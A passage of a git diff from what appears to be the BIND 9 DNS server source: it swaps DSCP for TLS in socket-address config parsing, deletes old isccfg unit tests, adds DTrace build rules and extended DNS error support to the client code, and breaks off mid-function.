@@ -3490,9 +3382,9 @@ cfg_print_sockaddr(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 		cfg_print_cstr(pctx, " port ");
 		cfg_print_rawuint(pctx, port);
 	}
-	if (obj->value.sockaddrdscp.dscp != -1) {
-		cfg_print_cstr(pctx, " dscp ");
-		cfg_print_rawuint(pctx, obj->value.sockaddrdscp.dscp);
+	if (obj->value.sockaddrtls.tls.base != NULL) {
+		cfg_print_cstr(pctx, " tls ");
+		print_rawqstring(pctx, obj->value.sockaddrtls.tls);
 	}
 }
 
@@ -3526,14 +3418,16 @@ cfg_doc_sockaddr(cfg_printer_t *pctx, const cfg_type_t *type) {
 		n++;
 		POST(n);
 	}
-	cfg_print_cstr(pctx, " ) ");
-	if ((*flagp & CFG_ADDR_WILDOK) != 0) {
-		cfg_print_cstr(pctx, "[ port ( <integer> | * ) ]");
-	} else {
-		cfg_print_cstr(pctx, "[ port <integer> ]");
+	cfg_print_cstr(pctx, " )");
+	if ((*flagp & CFG_ADDR_PORTOK) != 0) {
+		if ((*flagp & CFG_ADDR_WILDOK) != 0) {
+			cfg_print_cstr(pctx, " [ port ( <integer> | * ) ]");
+		} else {
+			cfg_print_cstr(pctx, " [ port <integer> ]");
+		}
 	}
-	if ((*flagp & CFG_ADDR_DSCPOK) != 0) {
-		cfg_print_cstr(pctx, " [ dscp <integer> ]");
+	if ((*flagp & CFG_ADDR_TLSOK) != 0) {
+		cfg_print_cstr(pctx, " [ tls <string> ]");
 	}
 }
 
@@ -3543,16 +3437,24 @@ cfg_obj_issockaddr(const cfg_obj_t *obj) {
 	return (obj->type->rep == &cfg_rep_sockaddr);
 }
 
+bool
+cfg_obj_issockaddrtls(const cfg_obj_t *obj) {
+	REQUIRE(obj != NULL);
+	return (obj->type->rep == &cfg_rep_sockaddrtls);
+}
+
 const isc_sockaddr_t *
 cfg_obj_assockaddr(const cfg_obj_t *obj) {
-	REQUIRE(obj != NULL && obj->type->rep == &cfg_rep_sockaddr);
+	REQUIRE(obj != NULL);
+	REQUIRE(obj->type->rep == &cfg_rep_sockaddr ||
+		obj->type->rep == &cfg_rep_sockaddrtls);
 	return (&obj->value.sockaddr);
 }
 
-isc_dscp_t
-cfg_obj_getdscp(const cfg_obj_t *obj) {
-	REQUIRE(obj != NULL && obj->type->rep == &cfg_rep_sockaddr);
-	return (obj->value.sockaddrdscp.dscp);
+const char *
+cfg_obj_getsockaddrtls(const cfg_obj_t *obj) {
+	REQUIRE(obj != NULL && obj->type->rep == &cfg_rep_sockaddrtls);
+	return (obj->value.sockaddrtls.tls.base);
 }
 
 isc_result_t
@@ -3839,12 +3741,10 @@ cfg_create_obj(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 	REQUIRE(ret != NULL && *ret == NULL);
 
 	obj = isc_mem_get(pctx->mctx, sizeof(cfg_obj_t));
-
-	obj->type = type;
-	obj->file = current_file(pctx);
-	obj->line = pctx->line;
-	obj->pctx = pctx;
-
+	*obj = (cfg_obj_t){ .type = type,
+			    .file = current_file(pctx),
+			    .line = pctx->line,
+			    .pctx = pctx };
 	isc_refcount_init(&obj->references, 1);
 
 	*ret = obj;
diff --git a/lib/isccfg/tests b/lib/isccfg/tests
new file mode 120000
index 0000000000..1d7dfaf423
--- /dev/null
+++ b/lib/isccfg/tests
@@ -0,0 +1 @@
+../../tests/isccfg
\ No newline at end of file
diff --git a/lib/isccfg/tests/Makefile.am b/lib/isccfg/tests/Makefile.am
deleted file mode 100644
index 19b82a45b3..0000000000
--- a/lib/isccfg/tests/Makefile.am
+++ /dev/null
@@ -1,22 +0,0 @@
-include $(top_srcdir)/Makefile.top
-include $(top_srcdir)/Makefile.tests
-
-AM_CPPFLAGS +=			\
-	$(LIBISC_CFLAGS)	\
-	$(LIBDNS_CFLAGS)	\
-	$(LIBISCCFG_CFLAGS)
-
-LDADD +=			\
-	$(LIBISC_LIBS)		\
-	$(LIBDNS_LIBS)		\
-	$(LIBISCCFG_LIBS)
-
-check_PROGRAMS =	\
-	duration_test	\
-	parser_test
-
-TESTS = $(check_PROGRAMS)
-
-unit-local: check
-
-LOG_COMPILER = $(builddir)/../../unit-test-driver.sh
diff --git a/lib/isccfg/tests/duration_test.c b/lib/isccfg/tests/duration_test.c
deleted file mode 100644
index 3c5d45092c..0000000000
--- a/lib/isccfg/tests/duration_test.c
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/buffer.h>
-#include <isc/lex.h>
-#include <isc/log.h>
-#include <isc/mem.h>
-#include <isc/types.h>
-#include <isc/util.h>
-
-#include <isccfg/cfg.h>
-#include <isccfg/grammar.h>
-#include <isccfg/namedconf.h>
-
-#define CHECK(r)                             \
-	do {                                 \
-		result = (r);                \
-		if (result != ISC_R_SUCCESS) \
-			goto cleanup;        \
-	} while (0)
-
-isc_mem_t *mctx = NULL;
-isc_log_t *lctx = NULL;
-static isc_logcategory_t categories[] = { { "", 0 },
-					  { "client", 0 },
-					  { "network", 0 },
-					  { "update", 0 },
-					  { "queries", 0 },
-					  { "unmatched", 0 },
-					  { "update-security", 0 },
-					  { "query-errors", 0 },
-					  { NULL, 0 } };
-
-static void
-cleanup(void) {
-	if (lctx != NULL) {
-		isc_log_destroy(&lctx);
-	}
-	if (mctx != NULL) {
-		isc_mem_destroy(&mctx);
-	}
-}
-
-static isc_result_t
-setup(void) {
-	isc_result_t result;
-
-	isc_mem_debugging |= ISC_MEM_DEBUGRECORD;
-	isc_mem_create(&mctx);
-
-	isc_logdestination_t destination;
-	isc_logconfig_t *logconfig = NULL;
-
-	isc_log_create(mctx, &lctx, &logconfig);
-	isc_log_registercategories(lctx, categories);
-	isc_log_setcontext(lctx);
-
-	destination.file.stream = stderr;
-	destination.file.name = NULL;
-	destination.file.versions = ISC_LOG_ROLLNEVER;
-	destination.file.maximum_size = 0;
-	isc_log_createchannel(logconfig, "stderr", ISC_LOG_TOFILEDESC,
-			      ISC_LOG_DYNAMIC, &destination, 0);
-	CHECK(isc_log_usechannel(logconfig, "stderr", NULL, NULL));
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	cleanup();
-	return (result);
-}
-
-struct duration_conf {
-	const char *string;
-	uint32_t time;
-};
-typedef struct duration_conf duration_conf_t;
-
-/* test cfg_obj_asduration() */
-static void
-cfg_obj_asduration_test(void **state) {
-	isc_result_t result;
-	duration_conf_t durations[] = {
-		{ .string = "PT0S", .time = 0 },
-		{ .string = "PT42S", .time = 42 },
-		{ .string = "PT10m", .time = 600 },
-		{ .string = "PT10m4S", .time = 604 },
-		{ .string = "pT2H", .time = 7200 },
-		{ .string = "Pt2H3S", .time = 7203 },
-		{ .string = "PT2h1m3s", .time = 7263 },
-		{ .string = "p7d", .time = 604800 },
-		{ .string = "P7DT2h", .time = 612000 },
-		{ .string = "P2W", .time = 1209600 },
-		{ .string = "P3M", .time = 8035200 },
-		{ .string = "P3MT10M", .time = 8035800 },
-		{ .string = "p5y", .time = 157680000 },
-		{ .string = "P5YT2H", .time = 157687200 },
-		{ .string = "P1Y1M1DT1H1M1S", .time = 34304461 },
-		{ .string = "0", .time = 0 },
-		{ .string = "30", .time = 30 },
-		{ .string = "42s", .time = 42 },
-		{ .string = "10m", .time = 600 },
-		{ .string = "2H", .time = 7200 },
-		{ .string = "7d", .time = 604800 },
-		{ .string = "2w", .time = 1209600 },
-	};
-	int num = 22;
-	isc_buffer_t buf1;
-	cfg_parser_t *p1 = NULL;
-	cfg_obj_t *c1 = NULL;
-
-	UNUSED(state);
-
-	setup();
-
-	for (int i = 0; i < num; i++) {
-		const cfg_listelt_t *element;
-		const cfg_obj_t *kasps = NULL;
-		char conf[64];
-		sprintf(&conf[0],
-			"dnssec-policy \"dp\"\n{\nsignatures-refresh %s;\n};\n",
-			durations[i].string);
-
-		isc_buffer_init(&buf1, conf, strlen(conf) - 1);
-		isc_buffer_add(&buf1, strlen(conf) - 1);
-
-		/* Parse with default line numbering */
-		result = cfg_parser_create(mctx, lctx, &p1);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		result = cfg_parse_buffer(p1, &buf1, "text1", 0,
-					  &cfg_type_namedconf, 0, &c1);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		(void)cfg_map_get(c1, "dnssec-policy", &kasps);
-		assert_non_null(kasps);
-		for (element = cfg_list_first(kasps); element != NULL;
-		     element = cfg_list_next(element))
-		{
-			const cfg_obj_t *d1 = NULL;
-			const cfg_obj_t *kopts = NULL;
-			cfg_obj_t *kconf = cfg_listelt_value(element);
-			assert_non_null(kconf);
-
-			kopts = cfg_tuple_get(kconf, "options");
-			result = cfg_map_get(kopts, "signatures-refresh", &d1);
-			assert_int_equal(result, ISC_R_SUCCESS);
-
-			assert_int_equal(durations[i].time,
-					 cfg_obj_asduration(d1));
-		}
-
-		cfg_obj_destroy(p1, &c1);
-		cfg_parser_destroy(&p1);
-	}
-
-	cleanup();
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(cfg_obj_asduration_test),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isccfg/tests/parser_test.c b/lib/isccfg/tests/parser_test.c
deleted file mode 100644
index 79e9f50541..0000000000
--- a/lib/isccfg/tests/parser_test.c
+++ /dev/null
@@ -1,288 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/buffer.h>
-#include <isc/lex.h>
-#include <isc/log.h>
-#include <isc/mem.h>
-#include <isc/print.h>
-#include <isc/string.h>
-#include <isc/types.h>
-#include <isc/util.h>
-
-#include <isccfg/cfg.h>
-#include <isccfg/grammar.h>
-#include <isccfg/namedconf.h>
-
-#define CHECK(r)                             \
-	do {                                 \
-		result = (r);                \
-		if (result != ISC_R_SUCCESS) \
-			goto cleanup;        \
-	} while (0)
-
-isc_mem_t *mctx = NULL;
-isc_log_t *lctx = NULL;
-static isc_logcategory_t categories[] = { { "", 0 },
-					  { "client", 0 },
-					  { "network", 0 },
-					  { "update", 0 },
-					  { "queries", 0 },
-					  { "unmatched", 0 },
-					  { "update-security", 0 },
-					  { "query-errors", 0 },
-					  { NULL, 0 } };
-
-static void
-cleanup(void) {
-	if (lctx != NULL) {
-		isc_log_setcontext(NULL);
-		isc_log_destroy(&lctx);
-	}
-	if (mctx != NULL) {
-		isc_mem_destroy(&mctx);
-	}
-}
-
-static isc_result_t
-setup(void) {
-	isc_result_t result;
-
-	isc_mem_debugging |= ISC_MEM_DEBUGRECORD;
-	isc_mem_create(&mctx);
-
-	isc_logdestination_t destination;
-	isc_logconfig_t *logconfig = NULL;
-
-	isc_log_create(mctx, &lctx, &logconfig);
-	isc_log_registercategories(lctx, categories);
-	isc_log_setcontext(lctx);
-
-	destination.file.stream = stderr;
-	destination.file.name = NULL;
-	destination.file.versions = ISC_LOG_ROLLNEVER;
-	destination.file.maximum_size = 0;
-	isc_log_createchannel(logconfig, "stderr", ISC_LOG_TOFILEDESC,
-			      ISC_LOG_DYNAMIC, &destination, 0);
-	CHECK(isc_log_usechannel(logconfig, "stderr", NULL, NULL));
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	cleanup();
-	return (result);
-}
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = setup();
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	cleanup();
-
-	return (0);
-}
-
-/* mimic calling nzf_append() */
-static void
-append(void *arg, const char *str, int len) {
-	char *buf = arg;
-	size_t l = strlen(buf);
-	snprintf(buf + l, 1024 - l, "%.*s", len, str);
-}
-
-static void
-addzoneconf(void **state) {
-	isc_result_t result;
-	isc_buffer_t b;
-	cfg_parser_t *p = NULL;
-	const char *tests[] = {
-		"zone \"test4.baz\" { type master; file \"e.db\"; };",
-		"zone \"test/.baz\" { type master; file \"e.db\"; };",
-		"zone \"test\\\".baz\" { type master; file \"e.db\"; };",
-		"zone \"test\\.baz\" { type master; file \"e.db\"; };",
-		"zone \"test\\\\.baz\" { type master; file \"e.db\"; };",
-		"zone \"test\\032.baz\" { type master; file \"e.db\"; };",
-		"zone \"test\\010.baz\" { type master; file \"e.db\"; };"
-	};
-	char buf[1024];
-
-	UNUSED(state);
-
-	/* Parse with default line numbering */
-	result = cfg_parser_create(mctx, lctx, &p);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-#define ARRAYSIZE(x) (sizeof(x) / sizeof(x[0]))
-
-	for (size_t i = 0; i < ARRAYSIZE(tests); i++) {
-		cfg_obj_t *conf = NULL;
-		const cfg_obj_t *obj = NULL, *zlist = NULL;
-
-		isc_buffer_constinit(&b, tests[i], strlen(tests[i]));
-		isc_buffer_add(&b, strlen(tests[i]));
-
-		result = cfg_parse_buffer(p, &b, "text1", 0,
-					  &cfg_type_namedconf, 0, &conf);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		/*
-		 * Mimic calling nzf_append() from bin/named/server.c
-		 * and check that the output matches the input.
-		 */
-		result = cfg_map_get(conf, "zone", &zlist);
-		assert_int_equal(result, ISC_R_SUCCESS);
-
-		obj = cfg_listelt_value(cfg_list_first(zlist));
-		assert_ptr_not_equal(obj, NULL);
-
-		strlcpy(buf, "zone ", sizeof(buf));
-		cfg_printx(obj, CFG_PRINTER_ONELINE, append, buf);
-		strlcat(buf, ";", sizeof(buf));
-		assert_string_equal(tests[i], buf);
-
-		cfg_obj_destroy(p, &conf);
-		cfg_parser_reset(p);
-	}
-
-	cfg_parser_destroy(&p);
-}
-
-/* test cfg_parse_buffer() */
-static void
-parse_buffer_test(void **state) {
-	isc_result_t result;
-	unsigned char text[] = "options\n{\nrecursion yes;\n};\n";
-	isc_buffer_t buf1, buf2;
-	cfg_parser_t *p1 = NULL, *p2 = NULL;
-	cfg_obj_t *c1 = NULL, *c2 = NULL;
-
-	UNUSED(state);
-
-	isc_buffer_init(&buf1, &text[0], sizeof(text) - 1);
-	isc_buffer_add(&buf1, sizeof(text) - 1);
-
-	/* Parse with default line numbering */
-	result = cfg_parser_create(mctx, lctx, &p1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = cfg_parse_buffer(p1, &buf1, "text1", 0, &cfg_type_namedconf, 0,
-				  &c1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(p1->line, 5);
-
-	isc_buffer_init(&buf2, &text[0], sizeof(text) - 1);
-	isc_buffer_add(&buf2, sizeof(text) - 1);
-
-	/* Parse with changed line number */
-	result = cfg_parser_create(mctx, lctx, &p2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = cfg_parse_buffer(p2, &buf2, "text2", 100, &cfg_type_namedconf,
-				  0, &c2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(p2->line, 104);
-
-	cfg_obj_destroy(p1, &c1);
-	cfg_obj_destroy(p2, &c2);
-
-	cfg_parser_destroy(&p1);
-	cfg_parser_destroy(&p2);
-}
-
-/* test cfg_map_firstclause() */
-static void
-cfg_map_firstclause_test(void **state) {
-	const char *name = NULL;
-	const void *clauses = NULL;
-	unsigned int idx;
-
-	UNUSED(state);
-
-	name = cfg_map_firstclause(&cfg_type_zoneopts, &clauses, &idx);
-	assert_non_null(name);
-	assert_non_null(clauses);
-	assert_int_equal(idx, 0);
-}
-
-/* test cfg_map_nextclause() */
-static void
-cfg_map_nextclause_test(void **state) {
-	const char *name = NULL;
-	const void *clauses = NULL;
-	unsigned int idx;
-
-	UNUSED(state);
-
-	name = cfg_map_firstclause(&cfg_type_zoneopts, &clauses, &idx);
-	assert_non_null(name);
-	assert_non_null(clauses);
-	assert_int_equal(idx, ISC_R_SUCCESS);
-
-	do {
-		name = cfg_map_nextclause(&cfg_type_zoneopts, &clauses, &idx);
-		if (name != NULL) {
-			assert_non_null(clauses);
-		} else {
-			assert_null(clauses);
-			assert_int_equal(idx, 0);
-		}
-	} while (name != NULL);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(addzoneconf),
-		cmocka_unit_test(parse_buffer_test),
-		cmocka_unit_test(cfg_map_firstclause_test),
-		cmocka_unit_test(cfg_map_nextclause_test),
-	};
-
-	return (cmocka_run_group_tests(tests, _setup, _teardown));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/ns/.gitignore b/lib/ns/.gitignore
new file mode 100644
index 0000000000..1d0e72db59
--- /dev/null
+++ b/lib/ns/.gitignore
@@ -0,0 +1 @@
+/probes.h
diff --git a/lib/ns/Makefile.am b/lib/ns/Makefile.am
index cdfc6192bc..39b64a76b3 100644
--- a/lib/ns/Makefile.am
+++ b/lib/ns/Makefile.am
@@ -1,7 +1,7 @@
 include $(top_srcdir)/Makefile.top
 
 AM_CPPFLAGS +=				\
-	-DNAMED_PLUGINDIR=\"$(libdir)/named\"
+	-DNAMED_PLUGINDIR=\"$(pkglibdir)\"
 
 lib_LTLIBRARIES = libns.la
 
@@ -9,10 +9,8 @@ libns_ladir = $(includedir)/ns
 
 libns_la_HEADERS =			\
 	include/ns/client.h		\
-	include/ns/events.h		\
 	include/ns/hooks.h		\
 	include/ns/interfacemgr.h	\
-	include/ns/lib.h		\
 	include/ns/listenlist.h		\
 	include/ns/log.h		\
 	include/ns/notify.h		\
@@ -29,10 +27,10 @@ libns_la_SOURCES =		\
 	client.c		\
 	hooks.c			\
 	interfacemgr.c		\
-	lib.c			\
 	listenlist.c		\
 	log.c			\
 	notify.c		\
+	probes.d		\
 	query.c			\
 	server.c		\
 	sortlist.c		\
@@ -58,6 +56,11 @@ libns_la_LDFLAGS =		\
 	$(AM_LDFLAGS)		\
 	-release "$(PACKAGE_VERSION)"
 
-if HAVE_CMOCKA
-SUBDIRS = tests
+if !HAVE_SYSTEMTAP
+DTRACE_DEPS = libns_la-query.lo
+DTRACE_OBJS = .libs/libns_la-query.$(OBJEXT)
 endif
+
+include $(top_srcdir)/Makefile.dtrace
+
+libns_la_LIBADD += $(DTRACE_LIBADD)
diff --git a/lib/ns/client.c b/lib/ns/client.c
index f287087141..7d33734034 100644
--- a/lib/ns/client.c
+++ b/lib/ns/client.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,9 +12,11 @@
  */
 
 #include <inttypes.h>
+#include <limits.h>
 #include <stdbool.h>
 
 #include <isc/aes.h>
+#include <isc/async.h>
 #include <isc/atomic.h>
 #include <isc/formatcheck.h>
 #include <isc/fuzz.h>
@@ -21,8 +25,6 @@
 #include <isc/mutex.h>
 #include <isc/nonce.h>
 #include <isc/once.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/random.h>
 #include <isc/safe.h>
 #include <isc/serial.h>
@@ -30,8 +32,8 @@
 #include <isc/stats.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/thread.h>
+#include <isc/tid.h>
 #include <isc/timer.h>
 #include <isc/util.h>
 
@@ -42,7 +44,6 @@
 #include <dns/dispatch.h>
 #include <dns/dnstap.h>
 #include <dns/edns.h>
-#include <dns/events.h>
 #include <dns/message.h>
 #include <dns/peer.h>
 #include <dns/rcode.h>
@@ -51,6 +52,7 @@
 #include <dns/rdatalist.h>
 #include <dns/rdataset.h>
 #include <dns/resolver.h>
+#include <dns/result.h>
 #include <dns/stats.h>
 #include <dns/tsig.h>
 #include <dns/view.h>
@@ -78,7 +80,7 @@
  * need for locking.
  *
  * If a routine is ever created that allows someone other than the client's
- * task to change the client, then the client will have to be locked.
+ * loop to change the client, then the client will have to be locked.
  */
 
 #ifdef NS_CLIENT_TRACE
@@ -113,17 +115,10 @@
 #define NS_CLIENT_DROPPORT 1
 #endif /* ifndef NS_CLIENT_DROPPORT */
 
-LIBNS_EXTERNAL_DATA atomic_uint_fast64_t ns_client_requests =
-	ATOMIC_VAR_INIT(0);
+atomic_uint_fast64_t ns_client_requests = 0;
 
 static void
-clientmgr_attach(ns_clientmgr_t *source, ns_clientmgr_t **targetp);
-static void
-clientmgr_detach(ns_clientmgr_t **mp);
-static void
-clientmgr_destroy(ns_clientmgr_t *manager);
-static void
-ns_client_endrequest(ns_client_t *client);
+clientmgr_destroy_cb(void *arg);
 static void
 ns_client_dumpmessage(ns_client_t *client, const char *reason);
 static void
@@ -151,7 +146,7 @@ ns_client_killoldestquery(ns_client_t *client) {
 	if (oldest != NULL) {
 		ISC_LIST_UNLINK(client->manager->recursing, oldest, rlink);
 		ns_query_cancel(oldest);
-		ns_stats_increment(client->sctx->nsstats,
+		ns_stats_increment(client->manager->sctx->nsstats,
 				   ns_statscounter_reclimitdropped);
 	}
 	UNLOCK(&client->manager->reclock);
@@ -164,9 +159,59 @@ ns_client_settimeout(ns_client_t *client, unsigned int seconds) {
 	/* XXXWPK TODO use netmgr to set timeout */
 }
 
+static void
+client_extendederror_reset(ns_client_t *client) {
+	if (client->ede == NULL) {
+		return;
+	}
+	isc_mem_put(client->manager->mctx, client->ede->value,
+		    client->ede->length);
+	isc_mem_put(client->manager->mctx, client->ede, sizeof(dns_ednsopt_t));
+	client->ede = NULL;
+}
+
+void
+ns_client_extendederror(ns_client_t *client, uint16_t code, const char *text) {
+	unsigned char ede[DNS_EDE_EXTRATEXT_LEN + 2];
+	isc_buffer_t buf;
+	uint16_t len = sizeof(uint16_t);
+
+	REQUIRE(NS_CLIENT_VALID(client));
+
+	if (client->ede != NULL) {
+		ns_client_log(client, NS_LOGCATEGORY_CLIENT,
+			      NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(1),
+			      "already have ede, ignoring %u %s", code,
+			      text == NULL ? "(null)" : text);
+		return;
+	}
+
+	ns_client_log(client, NS_LOGCATEGORY_CLIENT, NS_LOGMODULE_CLIENT,
+		      ISC_LOG_DEBUG(1), "set ede: info-code %u extra-text %s",
+		      code, text == NULL ? "(null)" : text);
+
+	isc_buffer_init(&buf, ede, sizeof(ede));
+	isc_buffer_putuint16(&buf, code);
+	if (text != NULL && strlen(text) > 0) {
+		if (strlen(text) < DNS_EDE_EXTRATEXT_LEN) {
+			isc_buffer_putstr(&buf, text);
+			len += (uint16_t)(strlen(text));
+		} else {
+			ns_client_log(client, NS_LOGCATEGORY_CLIENT,
+				      NS_LOGMODULE_CLIENT, ISC_LOG_WARNING,
+				      "ede extra-text too long, ignoring");
+		}
+	}
+
+	client->ede = isc_mem_get(client->manager->mctx, sizeof(dns_ednsopt_t));
+	client->ede->code = DNS_OPT_EDE;
+	client->ede->length = len;
+	client->ede->value = isc_mem_get(client->manager->mctx, len);
+	memmove(client->ede->value, ede, len);
+};
+
 static void
 ns_client_endrequest(ns_client_t *client) {
-	INSIST(client->nupdates == 0);
 	INSIST(client->state == NS_CLIENTSTATE_WORKING ||
 	       client->state == NS_CLIENTSTATE_RECURSING);
 
@@ -188,9 +233,13 @@ ns_client_endrequest(ns_client_t *client) {
 
 	if (client->view != NULL) {
 #ifdef ENABLE_AFL
-		if (client->sctx->fuzztype == isc_fuzz_resolver) {
-			dns_cache_clean(client->view->cache, INT_MAX);
-			dns_adb_flush(client->view->adb);
+		if (client->manager->sctx->fuzztype == isc_fuzz_resolver) {
+			dns_adb_t *adb = NULL;
+			dns_view_getadb(client->view, &adb);
+			if (adb != NULL) {
+				dns_adb_flush(adb);
+				dns_adb_detach(&adb);
+			}
 		}
 #endif /* ifdef ENABLE_AFL */
 		dns_view_detach(&client->view);
@@ -201,37 +250,26 @@ ns_client_endrequest(ns_client_t *client) {
 		dns_message_puttemprdataset(client->message, &client->opt);
 	}
 
+	client_extendederror_reset(client);
 	client->signer = NULL;
 	client->udpsize = 512;
 	client->extflags = 0;
 	client->ednsversion = -1;
+	client->additionaldepth = 0;
 	dns_ecs_init(&client->ecs);
 	dns_message_reset(client->message, DNS_MESSAGE_INTENTPARSE);
 
-	/*
-	 * Clean up from recursion - normally this would be done in
-	 * fetch_callback(), but if we're shutting down and canceling then
-	 * it might not have happened.
-	 */
-	if (client->recursionquota != NULL) {
-		isc_quota_detach(&client->recursionquota);
-		if (client->query.prefetch == NULL) {
-			ns_stats_decrement(client->sctx->nsstats,
-					   ns_statscounter_recursclients);
-		}
-	}
-
 	/*
 	 * Clear all client attributes that are specific to the request
 	 */
 	client->attributes = 0;
 #ifdef ENABLE_AFL
-	if (client->sctx->fuzznotify != NULL &&
-	    (client->sctx->fuzztype == isc_fuzz_client ||
-	     client->sctx->fuzztype == isc_fuzz_tcpclient ||
-	     client->sctx->fuzztype == isc_fuzz_resolver))
+	if (client->manager->sctx->fuzznotify != NULL &&
+	    (client->manager->sctx->fuzztype == isc_fuzz_client ||
+	     client->manager->sctx->fuzztype == isc_fuzz_tcpclient ||
+	     client->manager->sctx->fuzztype == isc_fuzz_resolver))
 	{
-		client->sctx->fuzznotify();
+		client->manager->sctx->fuzznotify();
 	}
 #endif /* ENABLE_AFL */
 }
@@ -257,13 +295,33 @@ client_senddone(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
 	REQUIRE(client->sendhandle == handle);
 
 	CTRACE("senddone");
+
+	/*
+	 * Set sendhandle to NULL, but don't detach it immediately, in
+	 * case we need to retry the send. If we do resend, then
+	 * sendhandle will be reattached. Whether or not we resend,
+	 * we will then detach the handle from *this* send by detaching
+	 * 'handle' directly below.
+	 */
+	client->sendhandle = NULL;
+
 	if (result != ISC_R_SUCCESS) {
-		ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
-			      NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(3),
-			      "send failed: %s", isc_result_totext(result));
+		if (!TCP_CLIENT(client) && result == ISC_R_MAXSIZE) {
+			ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
+				      NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(3),
+				      "send exceeded maximum size: truncating");
+			client->query.attributes &= ~NS_QUERYATTR_ANSWERED;
+			client->rcode_override = dns_rcode_noerror;
+			ns_client_error(client, ISC_R_MAXSIZE);
+		} else {
+			ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
+				      NS_LOGMODULE_CLIENT, ISC_LOG_DEBUG(3),
+				      "send failed: %s",
+				      isc_result_totext(result));
+		}
 	}
 
-	isc_nmhandle_detach(&client->sendhandle);
+	isc_nmhandle_detach(&handle);
 }
 
 static void
@@ -276,8 +334,9 @@ client_allocsendbuf(ns_client_t *client, isc_buffer_t *buffer,
 
 	if (TCP_CLIENT(client)) {
 		INSIST(client->tcpbuf == NULL);
-		client->tcpbuf = isc_mem_get(client->mctx,
+		client->tcpbuf = isc_mem_get(client->manager->send_mctx,
 					     NS_CLIENT_TCP_BUFFER_SIZE);
+		client->tcpbuf_size = NS_CLIENT_TCP_BUFFER_SIZE;
 		data = client->tcpbuf;
 		isc_buffer_init(buffer, data, NS_CLIENT_TCP_BUFFER_SIZE);
 	} else {
@@ -304,12 +363,31 @@ client_allocsendbuf(ns_client_t *client, isc_buffer_t *buffer,
 
 static void
 client_sendpkg(ns_client_t *client, isc_buffer_t *buffer) {
+	isc_result_t result;
 	isc_region_t r;
+	dns_ttl_t min_ttl = 0;
 
 	REQUIRE(client->sendhandle == NULL);
 
-	isc_buffer_usedregion(buffer, &r);
+	if (isc_buffer_base(buffer) == client->tcpbuf) {
+		size_t used = isc_buffer_usedlength(buffer);
+		client->tcpbuf = isc_mem_creget(
+			client->manager->send_mctx, client->tcpbuf,
+			client->tcpbuf_size, used, sizeof(char));
+		client->tcpbuf_size = used;
+		r.base = client->tcpbuf;
+		r.length = used;
+	} else {
+		isc_buffer_usedregion(buffer, &r);
+	}
 	isc_nmhandle_attach(client->handle, &client->sendhandle);
+
+	if (isc_nm_is_http_handle(client->handle)) {
+		result = dns_message_response_minttl(client->message, &min_ttl);
+		if (result == ISC_R_SUCCESS) {
+			isc_nm_set_maxage(client->handle, min_ttl);
